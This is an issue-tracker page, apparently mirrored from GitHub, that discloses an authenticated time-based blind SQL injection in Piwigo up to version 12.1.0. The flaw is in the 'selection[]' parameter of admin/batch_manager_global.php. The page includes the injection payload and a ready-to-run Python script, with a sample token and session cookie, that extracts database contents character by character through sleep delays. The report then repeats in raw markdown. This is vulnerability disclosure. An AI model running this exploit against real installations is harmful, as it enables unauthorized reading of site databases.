[Version <= 12.1.0]SQL injection #1385

Closed
opened 2026-10-05 00:41:53 +02:00 by adam · 0 comments
Owner

I find that there is a sqli in piwigo again ,here are my descriptions;
At first we need to login and then we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list

when we add a user ,we can easily get pwg_token: 74f8cee948f86969b006037ca229d623

1

let us start!

first of all,we find that in include/common.inc.php,it uses addslashes to deal with what we input,it may be a bad new if we want to exploit

2

but in fact

1.We can find a manageable parameter
2.This parameter is not wrapped with symbols such as '," and so on

then we may use it to implement malicious parameter escapes

Fortunately, I found,inadmin/batch_manager_global.php,there is a parameter we can control without using functioncheck_input_parameter ,it means We can control its value arbitrarily

3

Unfiltered parametersselection is spliced

4

ok,This parameter is not wrapped with '',"",it just a number,which means its sql may like this

SELECT xxx FROM piwigo_images WHERE id IN (1,2,3)

Since the page is not displayed back,I take the time blind approach

then if i just typeselection[]=1) union select 1,(if((select ascii(SUBSTR(database(),1,1))=116),0,1))%23

i will get sql below,in this payload,if true,just execute sleep(3),else, do nothing

SELECT xxx FROM piwigo_images WHERE id IN (1) union select 1,(if((select ascii(SUBSTR(version(),sleep(3),1))=116),0,1))#)

To speed up the process, I wrote a script using the dichotomy

You just need to replace the url, cookie, token in it and modify the timeout with the actual
r = requests.post(url, headers=headers, data=data,timeout=0.5)

#Author:Y4tacker
import requests

url = "http://xxx/admin.php?page=batch_manager_global"
token = "74f8cee948f86969b006037ca229d623"
cookie = "UM_distinctid=17d4aa810611b8-0b85fc0d8f86c6-978183a-13c680-17d4aa8106257f; CNZZDATA1280265406=1890594629-1637635066-%7C1637635066; csrf_27ef33=d1fdf26d; pwg_id=eda7pg1hfmnlpdauhsav7e2pf6; pwg_user_manager_view=line; pwg_album_manager_view=tile"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    headers = {
        "Cookie": cookie
    }

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'ascii(substr(version(),{i},1))>{mid}'

        data = {
            "selection[]": f"1) union select 1,(if((select {payload}),sleep(3),1))#",
            "selectAction": "delete_derivatives",
            "submit": "1",
            "del_derivatives_type": "1",
            "del_tags[]": "1",
            "pwg_token": token
        }
        try:
            r = requests.post(url, headers=headers, data=data,timeout=0.5)
            tail = mid
        except:
            head = mid + 1
            pass



    if head != 32:
        result += chr(head)
    else:
        break
    print(result)



finaly just look at there

5

of course,not only action=delete_derivatives, but also elsewhere, not to be listed here,Only they are similar in principle

I find that there is a sqli in piwigo again ,here are my descriptions; At first we need to login and then we can Visit the website http://your-url/admin.php then we need a Key Parameters called pwg_token,there are many ways to get a token i visit http://your-url/admin.php?page=user_list when we add a user ,we can easily get `pwg_token: 74f8cee948f86969b006037ca229d623` ![1](https://user-images.githubusercontent.com/56486273/146183448-a659d154-1a96-47f7-a065-bed625a0acd5.png) let us start! first of all,we find that in `include/common.inc.php`,it uses addslashes to deal with what we input,it may be a bad new if we want to exploit ![2](https://user-images.githubusercontent.com/56486273/146183473-40ab57f2-5595-4c40-871f-987875e7edd0.png) but in fact ``` 1.We can find a manageable parameter 2.This parameter is not wrapped with symbols such as '," and so on ``` then we may use it to implement malicious parameter escapes Fortunately, I found,in`admin/batch_manager_global.php`,there is a parameter we can control without using function`check_input_parameter` ,it means We can control its value arbitrarily ![3](https://user-images.githubusercontent.com/56486273/146183493-8b535a8b-15c6-47d5-b8eb-2ad5bb8b6887.png) Unfiltered parametersselection is spliced ![4](https://user-images.githubusercontent.com/56486273/146183508-b6eb6632-0a58-44f2-9233-3c71d883802b.png) ok,This parameter is not wrapped with `''`,`""`,it just a number,which means its sql may like this ``` SELECT xxx FROM piwigo_images WHERE id IN (1,2,3) ``` Since the page is not displayed back,I take the time blind approach then if i just type`selection[]=1) union select 1,(if((select ascii(SUBSTR(database(),1,1))=116),0,1))%23` i will get sql below,in this payload,if true,just execute sleep(3),else, do nothing ``` SELECT xxx FROM piwigo_images WHERE id IN (1) union select 1,(if((select ascii(SUBSTR(version(),sleep(3),1))=116),0,1))#) ``` To speed up the process, I wrote a script using the dichotomy You just need to replace the url, cookie, token in it and modify the timeout with the actual ` r = requests.post(url, headers=headers, data=data,timeout=0.5)` ```python #Author:Y4tacker import requests url = "http://xxx/admin.php?page=batch_manager_global" token = "74f8cee948f86969b006037ca229d623" cookie = "UM_distinctid=17d4aa810611b8-0b85fc0d8f86c6-978183a-13c680-17d4aa8106257f; CNZZDATA1280265406=1890594629-1637635066-%7C1637635066; csrf_27ef33=d1fdf26d; pwg_id=eda7pg1hfmnlpdauhsav7e2pf6; pwg_user_manager_view=line; pwg_album_manager_view=tile" result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 headers = { "Cookie": cookie } while head < tail: mid = (head + tail) >> 1 payload = f'ascii(substr(version(),{i},1))>{mid}' data = { "selection[]": f"1) union select 1,(if((select {payload}),sleep(3),1))#", "selectAction": "delete_derivatives", "submit": "1", "del_derivatives_type": "1", "del_tags[]": "1", "pwg_token": token } try: r = requests.post(url, headers=headers, data=data,timeout=0.5) tail = mid except: head = mid + 1 pass if head != 32: result += chr(head) else: break print(result) ``` finaly just look at there ![5](https://user-images.githubusercontent.com/56486273/146183563-7cba5b82-a43d-4200-94ed-219abb53b56d.png) of course,not only `action=delete_derivatives`, but also elsewhere, not to be listed here,Only they are similar in principle <!-- github-sync-id:1080963953 -->
adam closed this issue 2026-10-05 00:41:53 +02:00
Sign in to join this conversation.
No labels
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1385